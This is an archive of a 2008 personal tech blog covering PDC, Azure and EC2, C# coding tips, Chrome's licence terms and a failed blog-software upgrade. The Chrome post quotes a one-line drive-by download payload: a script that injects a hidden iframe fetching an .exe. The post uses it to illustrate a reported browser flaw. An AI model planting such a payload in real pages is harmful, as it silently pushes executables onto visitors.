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On Security

Amit Bahree — Wed, 12 Nov 2008 22:27:59 GMT

Security is a Social Construction - Andrew Martin

PDC Sessions

Amit Bahree — Tue, 11 Nov 2008 00:16:34 GMT

Irrespective if you attended PDC or not and want to get your hands on the ppt’s and/or video of each of the sessions then Mike has a cool post listing each of the sessions including the friendly name instead of the non-helpful code.

Got my Azure accounts Provisioned

Amit Bahree — Thu, 30 Oct 2008 06:00:21 GMT

Got all my tokens and got all the accounts up and running. Now need to write some code.

EC2 for Windows now available

Amit Bahree — Sun, 26 Oct 2008 01:04:11 GMT

Amazon’s EC2 is now available for Windows – squeaking in just before PDC was to kick off. This is quite exciting as it allows you to scale out and try something at a very low cost on Windows.

If you want to manage your EC2 environment, you can use the Firefox add-in called Elasticfox; there is also a C# library which wraps EC2’s web service API making them easier to consume from .NET.

Amazon is also going to release more features (fairly soon) across the board – load balancing, auto scaling, monitoring, etc.

It will be interesting to see the competitor offerings from Microsoft – should get public details at PDC.

PDC’ing

Amit Bahree — Fri, 24 Oct 2008 08:33:28 GMT

I am going to be at PDC – anyone else I know going to be there? If you are reading this, and are going to be there then it is quite likely you know how to ping me and let me know you going. It also might be a good idea to check out the Devil’s field guide to the PDC.

I will be blogging from there – but not during the sessions – need to ensure I am not distracted – especially as the Avalanche is coming! Expect to get some posts later in the evenings.

Is Cloud Computing workable?

Amit Bahree — Tue, 21 Oct 2008 21:14:55 GMT

I think this post brings up some interesting aspects of cloud computing and the scenarios within which you should look at to use this. If you are an enterprise then this might be more of a moot point – but the fact is one cannot take things for granted.

It is quite timely as I was thinking of syncing up Meenakshi’s calendar from Outlook to Google. Her laptop had crashed and she was without her calendar – interestingly she missed not having access to her calendar more than her emails – but that is another post for another day).

I think I will skip syncing it up Google Calendar now and instead use one of the other services I get from where this domain is hosted.

64 Core, 64 GB, need I ask more?

Amit Bahree — Tue, 21 Oct 2008 20:25:21 GMT

Cray (yep those guys are still alive and kicking – I know, I know I am as surprised as you). In any case these clever guys have released a “personal super computer” called CX1 which can have 64 Cores and address 64 GB of RAM and can run either Windows HPC 2008 Server or RHEL. Now, once I have stopped drooling, just need $30K (or so) to get this sweet sweet machine at home.

Win 7 called Win 7

Amit Bahree — Tue, 14 Oct 2008 23:08:40 GMT

Not since the days of NT 4.0 (which stood for New Technology btw) has this happened that Microsoft is calling a Windows version what is really is – so Windows 7 will be called Windows 7! I say Yay! It is about time the stop all the malarkey about funky code names and boring “release names”.

The Microsoft “Avalanche”

Amit Bahree — Fri, 10 Oct 2008 15:19:10 GMT

No, I am not referring to any new codename or product but rather talking about the slew of new products and technologies that are in the works and coming out in the near future from Microsoft. Below is a list of things (in no particular order) which either were just released or in the pipeline.

I wish I could talk more about some of these – maybe after PDC when most of these are out in the public domain and the NDA’s are relaxed – until then all the links are only to material already in the public domain.

Windows Server 2008
Windows Server 2008 R2
SQL Server 2008
Windows “7”
Office “14”
Visual Studio 2010 (“Rosario”)
“Red Dog”
“Strata”
“Zurich”
“Oslo”
.NET 4.0
“M” and “Quadrant”
Mesh
SQL Server “Kilimanjaro” and Project “Madison”
“Dublin”
Exchange “14”

Sigh, so much to learn/play-with and so little time!

Update: Added #16

Amazon Cloud Services support Oracle

Amit Bahree — Wed, 24 Sep 2008 18:16:02 GMT

Interesting to see how Amazon Web Services (AWS) has expanded; in addition to SimpleDB now they support Oracle and mySQL – this certainly ups the ante and will make it more enticing for Enterprises to hop onto this. I have been using S3 for a some time now where my WHS is backing up and have been quite pleased.

It will be interesting to see how Zurich responds with SQL Server. I wish I could say more.

Floppy Disk Drive

Amit Bahree — Mon, 22 Sep 2008 23:18:46 GMT

Some people just have too much time on their hands!

{via Artcar}

Drool!

Amit Bahree — Mon, 22 Sep 2008 23:16:54 GMT

Just what to save up your gadget allowance for – quad proc, 16 GB RAM 1 TB HDD laptop from Dell!

Avoid using “using()”

Amit Bahree — Sun, 21 Sep 2008 11:14:18 GMT

The using statement in C#, seems to be quite useful especially to a developer as theoretically, you not have to do anything to release any memory you might have used and the CLR automatically frees up this memory for you.

However, over time, I have had so many issues with it and subtle problems (in certain situations) I am starting to avoid it now.

The two best examples that I can think of are database connection pools and WCF connections. You might think that a “using” statement would close the connection and free up the resources when the scope finishes – but it does not. If you are thinking that a “Close()” is called for you automatically, you might be surprised to know that it is not.

For example if you are using a connection pool, over time you will get timeout errors (which are quite difficult to track down if you got some intelligent tool creating your DALs for you). This of course is because the connections are not closed and overtime you end up exhausting your pool. To avoid this you should explicitly call a “close()” method.

Similar story with WCF. If you find that after a few calls (or over some longer period of time), if you start seeing some degradation in performance and your response times taking a long time, then you need to explicitly close the connection as the using statement will not do it for you.

Also, if you are testing your WCF service on XP/Vista you might hit the built-in limit that limits the number of concurrent connections that XP/Vista allow.

Lastly, if you are using WCF, if possible then upgrade to .NET 3.5 as there are a lot of benefits which can get out of the box.

Nerd Test Results

Amit Bahree — Sun, 21 Sep 2008 11:13:03 GMT

My Nerd Test results … hmm …

OneNote Screen Clipping

Amit Bahree — Wed, 10 Sep 2008 21:56:33 GMT

I have been using the Screen Clipping functionality for years in OneNote (if you don’t know what I am talking about then press the Win + S key – of course you need OneNote installed). It always copied it to OneNote, from where I would copy the image and paste it wherever needed. I did not know until today there is an option where you can select it to go to the clipboard as well. Duh! Why did I not think of checking this out sooner – bets me.

Right click on the OneNote tracy icon, select Options => Screen Clipping defaults as shown below.

Does the world end today?

Amit Bahree — Mon, 08 Sep 2008 23:09:22 GMT

As the Large Hadron Collider is switched on today, the Guardian has a story saying that there are many people calling the CERN to find out if the world ends today? Apparently is completely safe and will not be doing anything that has not happened '100,000 times over' in nature since the earth has existed.

If you see another post here after today, I guess the mini-black holes did not suck in everything!

Interesting Find #16

Amit Bahree — Mon, 08 Sep 2008 22:25:38 GMT

Crime Mapping for London – cool.
EnvMan – easier way of managing environment variables.
Hit Me Later – snooze your email – pretty cool idea; not sure of privacy related issues though.
SimplyNoise – white noise generator which helps you find the comfort Zen and either work (blocking distractions), aid sleep, soothe migraines, etc.
Pushing the limits of Windows - with 2 TB of RAM running on a 64 proc machine – sweet! I wonder what would the size of Minidump will be on that?
Windows Performance Toolkit (WPT) – allows you to capture and analyse traces and state transitions to help improve the performance of Windows. I personally am quite interesting in making my tablet boot faster.
Cuil – new search engine; though Google might be safe (for now). Not sure how it searches but searching for this blog interestingly does pick it up, but also picks up some obscure links such as my Oxford page.
London Free School – hmm … weird! {via Karan}
AutoCollage 2008 – MSR project which helps celebrate important events and themes. Pick a folder, press a button, and in a few minutes this presents you with a unique memento to print or email to your family and friends.
Moonsus – cool laptop bags – is it good enough to make the wife forget the stupid bags?
Full of Kittens – showing off how to use Silverlight and DeepZoom – if you not sure what you are looking at double click on the image and shift-click to zoom out.
Midori – a componentized non-Windows Microsoft OS; quite interesting reading talking about a asynchronous-only architecture that is built for task concurrency and parallel use of local and distributed resources, with a distributed component-based and data-driven application model, and dynamic management of power and other resources.

Chrome? Nah, I’ll pass

Amit Bahree — Wed, 03 Sep 2008 22:52:47 GMT

You must have heard of Chrome by now – the brand spanking new browser from Google. If you think it was the best thing since sliced bread you need to wake up and smell the fish.

For me the main deal breaker is the EULA they have for Chrome. As per the EULA anything you use to upload, browse, etc using Chrome you are giving Google the right a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services.

This means anything work related I do – something as simple as searching the intranet to something more sensitive as responding to an RFP can be posted or displayed by Google. Needless to say most of us won’t be using this at work. Here is the full Section 11 from the EULA:

11. Content licence from you

11.1 You retain copyright and any other rights that you already hold in Content that you submit, post or display on or through the Services. By submitting, posting or displaying the content, you give Google a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services. This licence is for the sole purpose of enabling Google to display, distribute and promote the Services and may be revoked for certain Services as defined in the Additional Terms of those Services.

11.2 You agree that this licence includes a right for Google to make such Content available to other companies, organisations or individuals with whom Google has relationships for the provision of syndicated services and to use such Content in connection with the provision of those services.

11.3 You understand that Google, in performing the required technical steps to provide the Services to our users, may (a) transmit or distribute your Content over various public networks and in various media; and (b) make such changes to your Content as are necessary to conform and adapt that Content to the technical requirements of connecting networks, devices, services or media. You agree that this licence shall permit Google to take these actions.

11.4 You confirm and warrant to Google that you have all the rights, power and authority necessary to grant the above licence.

So whenever Google releases the new-uber-cool hammer, this is what it will look like:

Of course, there is a big backlash on this and there is some talk from Google on changing this. I wonder how quickly they forgot their “Don’t do Evil” mantra?

My second beef was when this is installed why is it in some obscure location such as AppData\Local\Global (e.g. on Vista this will be installed at C:\Users\%userprofile%\AppData\Local\Google\Chrome\Application) – what is wrong with something like %SYSTEM%\Google\Chrome? Of course this causes more interesting issues if more than one users use the same computer.

The third issue while is related to installation and is a little different. Why does this bypass the Windows UAC? No matter what the negative press on UAC, it is good and should not be bypassed. Maybe this is some new bug on UAC? (I am speculating at this point mind you, I have not had time to check it out in detail).

Security is the next problem. Apparently there is an automatic file download exploit and a carpet bombing flaw. For example the file download exploit can look something like:

<script> document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">'); </script>

On the positive sides, there are some cool features such as the hidden features where you can see some interesting things such as dns details, histograms, network diags, etc. Here is a list of some of the commands available:

about:histograms
about:dns
about:stats
about:network
about:plugins

Lastly, try typing “evil:%” (without quotes) and see what happens!

Job Security

Amit Bahree — Mon, 01 Sep 2008 22:37:24 GMT

Click to open original image.

Interesting Find #15

Amit Bahree — Mon, 01 Sep 2008 22:35:42 GMT

Shared View from Microsoft - a fast, easy way to share documents and screen views with small groups anytime, anywhere and works across physical boundaries, through firewalls, and down to the smallest details.
Switcher - gets Expose (from Mac) on Windows very cool! (you need Vista + Aero)
VS.NET 2008 SP1 likely to come later this year adds a lot of new stuff.
SMS things (only if you are in the US)
- SMS411 - helps you send SMS to phone's on specific carriers in the US.
- Teleflip - goes a step further and automatically figures out the carrier (also only for the US).
TFS Admin - seems to do a few interesting things if you admin TFS (I have not used it first hand so can't say).
Many Books - offers thoughts of free eBooks in many formats for your PDA, iPod, or eBook reader.
Hadoop - is a framework for running applications on large clusters built of commodity hardware; it is effectively a grid application which under the covers uses a DFS and can supposedly scale up to reliably store and process petabytes.
Invisible Computing - research prototype for making small devices part of the seamless computing world. It consists of compact middleware for constructing embedded web services applications and a small component based Real-Time Operating System with TCP/IP networking to make middleware run straight on the metal on several embedded processors.
Chumby - seems interesting concept - but I get all that on my phone and will it work in the uk?
Delta Copy - robocopy on steroids; this on copies the sectors that have changed. So if you have a 2 gb PST file – only the new sectors are copied instead of the whole file. Note – there as issues with Vista!
pptPlex – allows you to present PowerPoint using a zoomable canvas instead of slides – quite interesting.

Photosynth

Amit Bahree — Mon, 01 Sep 2008 22:27:37 GMT

You might have heard of Photosynth - it was announced last year; but if you ever wondered what the big deal was about Photosynth (or have not heard of it), then check out this video. Also this is open to all now for free.

The Progress Bar

Amit Bahree — Mon, 01 Sep 2008 22:26:02 GMT

Someone sure loves XP and their progress bar!

{via Karan}

Tried and failed to upgrade to CS 2008

Amit Bahree — Mon, 01 Sep 2008 22:24:30 GMT

As some of you noticed my blog either looked different for at some point recently or for a while it was not even available and it was all a terrible mess. As you might know I am running this on Community Server 2007 (CS 2007); CS 2008 was released some time back I thought maybe it is about time that I upgrade to that. Now you would think that it should be a painless process – boy how wrong one can be!

After weeks of trying (whenever I could take out time from a very hectic work schedule) I just could not get it to work. Even though the upgrade was “supposedly” successful (as shown by the screen shot below) nothing was working. After some digging it seems the Themes were the main culprit; Telligent has completely re-worked the theme engine from CS 2007 to CS 2008 and in the process anything (including the Default theme in CS 2007) breaks.

I have to admit I am not loving CS anymore. At one point, the idea of running a .NET based blogging service (.dotText if anyone remembers) was a cool idea. The geek in me could customize it to my hearts content. But since the release of CS and the whole commercialisation of it; the product just seems to have gone off on a tangent and more geared to the corporate world and they don’t seem to be interested in individuals like me. Now, don’t get me wrong I am not against commercialisation (hey we all need to pay our bills), I am all for the fact that this this scales up very well and someone like Avanade would probably use this for their “blogging engine” (actually being the geeks that we are, we might end up building one in our spare time).

But for me it now has lost it magic! So, I am interested in knowing what other options are there if any? I would like it to be open source and I would like to host it on my own domain. Any ideas?

Here is one of the many errors that I was getting:

Error:

25/07/2008 17:05:13 -- Updating posts for reindexing and search
25/07/2008 17:05:13 -- Upgrading role icons
25/07/2008 17:05:13 -- Moved 0 of 1 role icons into centralized storage
25/07/2008 17:05:13 -- Upgrading rank icons
25/07/2008 17:05:13 -- Moved 0 of 0 rank icons into centralized storage
25/07/2008 17:05:13 -- Upgrading user avatars
25/07/2008 17:05:13 -- Moved 0 of 0 avatars into centralized storage
25/07/2008 17:05:13 -- cs_UserAvatar table truncated
25/07/2008 17:05:13 -- Upgrading user files
25/07/2008 17:05:13 -- EXCEPTION: Could not find a part of the path 'C:\AltooFaltoo\temp\blogbackup\weblog\filestorage'.
   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.Directory.InternalGetFileDirectoryNames(String path, String userPathOriginal, String searchPattern, Boolean includeFiles, Boolean includeDirs, SearchOption searchOption)
   at System.IO.Directory.GetDirectories(String path, String searchPattern, SearchOption searchOption)
   at System.IO.Directory.GetDirectories(String path)
   at CommunityServer.Upgrader.FileUpgrader.UpgradeUserFiles()
   at CommunityServer.Upgrader.Part4.MoveFilesToCfs()

Test Post – please ignore

Amit Bahree — Thu, 28 Aug 2008 07:50:56 GMT

Testing, testing, can anyone see this?

P2P Code

Amit Bahree — Mon, 21 Jul 2008 23:33:19 GMT

It took a while for me to get around to this but the P2P Code to go along with my MSDN Article "P2P Programming with WCF and .NET v3.5". I don't know why this code was not available on MSDN in the first place.

Any ways, the can be downloaded from here (456.2 KB).